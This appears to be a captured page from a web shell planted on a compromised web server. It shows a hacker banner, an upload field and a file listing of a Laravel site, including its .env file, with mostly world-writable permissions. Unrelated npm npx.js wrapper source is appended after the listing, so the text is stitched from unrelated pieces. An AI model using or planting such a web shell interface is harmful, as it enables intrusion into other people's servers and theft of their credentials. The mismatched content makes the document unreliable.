I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
#!/usr/bin/env node const cli = require('../lib/cli.js') // run the resulting command as `npm exec ...args` process.argv[1] = require.resolve('./npm-cli.js') process.argv.splice(2, 0, 'exec') // TODO: remove the affordances for removed items in npm v9 const removedSwitches = new Set([ 'always-spawn', 'ignore-existing', 'shell-auto-fallback', ]) const removedOpts = new Set([ 'npm', 'node-arg', 'n', ]) const removed = new Set([ ...removedSwitches, ...removedOpts, ]) const { definitions, shorthands } = require('../lib/utils/config/index.js') const npmSwitches = Object.entries(definitions) .filter(([key, { type }]) => type === Boolean || (Array.isArray(type) && type.includes(Boolean))) .map(([key]) => key) // things that don't take a value const switches = new Set([ ...removedSwitches, ...npmSwitches, 'no-install', 'quiet', 'q', 'version', 'v', 'help', 'h', ]) // things that do take a value const opts = new Set([ ...removedOpts, 'package', 'p', 'cache', 'userconfig', 'call', 'c', 'shell', 'npm', 'node-arg', 'n', ]) // break out of loop when we find a positional argument or -- // If we find a positional arg, we shove -- in front of it, and // let the normal npm cli handle the rest. let i let sawRemovedFlags = false for (i = 3; i < process.argv.length; i++) { const arg = process.argv[i] if (arg === '--') { break } else if (/^-/.test(arg)) { const [key, ...v] = arg.replace(/^-+/, '').split('=') switch (key) { case 'p': process.argv[i] = ['--package', ...v].join('=') break case 'shell': process.argv[i] = ['--script-shell', ...v].join('=') break case 'no-install': process.argv[i] = '--yes=false' break default: // resolve shorthands and run again if (shorthands[key] && !removed.has(key)) { const a = [...shorthands[key]] if (v.length) { a.push(v.join('=')) } process.argv.splice(i, 1, ...a) i-- continue } break } if (removed.has(key)) { console.error(`npx: the --${key} argument has been removed.`) sawRemovedFlags = true process.argv.splice(i, 1) i-- } if (v.length === 0 && !switches.has(key) && (opts.has(key) || !/^-/.test(process.argv[i + 1]))) { // value will be next argument, skip over it. if (removed.has(key)) { // also remove the value for the cut key. process.argv.splice(i + 1, 1) } else { i++ } } } else { // found a positional arg, put -- in front of it, and we're done process.argv.splice(i, 0, '--') break } } if (sawRemovedFlags) { console.error('See `npm help exec` for more information') } cli(process)